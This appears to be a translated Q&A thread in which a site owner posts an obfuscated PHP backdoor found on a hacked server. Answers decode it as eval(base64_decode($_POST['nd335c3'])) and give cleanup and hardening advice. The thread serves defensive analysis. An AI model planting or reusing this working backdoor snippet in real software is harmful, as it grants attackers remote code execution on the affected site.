试图解码病毒

时间:2015-03-28 19:58:28

标签: php virus

我的服务器最近受到了攻击,我一直在努力研究它的发生方式和原因。

我在病毒文件中发现了一个非常相似的模式,看起来像这样 - 据我所知,它试图运行一个特定的文件?

有没有人见过这样的东西,我该怎么解释呢?它只是根据$sF字符串抓取单个字符吗?

<?php

$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['nd335c3'];
if (isset($s22)) {
  eval($s21($s22));
}?>

3 个答案:

答案 0 :(得分:27)

变量$s21等于base64_decode$s22等于$_POST['nd335c3']

每当向您的服务器发出POST请求时,它会执行$_POST['nd335c3'];中的任何命令,如您所料,这是非常危险的。

我非常怀疑您的服务器遭到黑客攻击,但您的网站脚本被利用了。您的网站上是否有用户可以上传文件的地方?我已经看到很多类似于WordPress的插件编码很差的东西。

解决问题

要解决此问题,请先删除此文件或代码段。您可能希望关闭站点并将其置于维护模式,直到您可以搜索并验证所有其他文件未被修改。

一旦站点恢复并运行,请记录对被黑客文件所在位置的请求或包含相同POST变量的请求。

一旦有用户向漏洞利用程序发送数据,您就可以检查所有其他日志文件,并将它们与相同的IP地址和用户代理进行比较。这是一个远景,但希望他们只使用一台计算机来进行攻击。从日志中,您可以看到他们访问了什么,可能会执行攻击并上传被利用的文件。

预防未来

  1. 不要将您在网上找到的任何代码安装到您的网站上,除非您信任开发人员并相信它完全安全且知道他们发布了更新。
  2. 将您的网络服务器设置为除了上传目录和/tmp
  3. 之外没有写访问权限
  4. 验证所有上传的文件,以确保它们完全符合您的预期。
  5. 不允许PHP在上传文件的地方运行,将文件作为静态直接文件下载。这样,如果上传的文件绕过了您的文件检查,它仍然无法造成任何伤害。

答案 1 :(得分:8)

只需按照$ sF字符串上的contatination代码,您就会看到

$21 = "base64_decode";
$22 = "_POST['nd335c3']";

和其余的代码,基本上检查_POST ['nd335c3']是否存在,如果存在,执行PHP代码:base64_decode(_POST['nd335c3']);

接下来我做了什么我真的不知道,因为你没有显示整个病毒代码。

希望它有所帮助。

答案 2 :(得分:4)

非常好的病毒。上面的答案似乎解释得很好,但也许你现在可以更好地理解PHP了。你可以看到PHP是如何对病毒友好的,但这是使它如此通用的东西之一,这是一种很酷的语言,可以用于很多事情。
一个稍微不那么恶意的代码混淆示例:

<?php

$v1 = "sartvuhi_";
$v2 = $v1[3] . $v1[6] . $v1[7] . $v1[0] . $v1[8];
$v3 = $v1[7] . $v1[0] . $v1[8] . $v1[1] . $v1[8];
$v4 = $v1[4] . $v1[7] . $v1[2] . $v1[5] . $v1[0];

echo $v2 . $v3 . $v4;
?>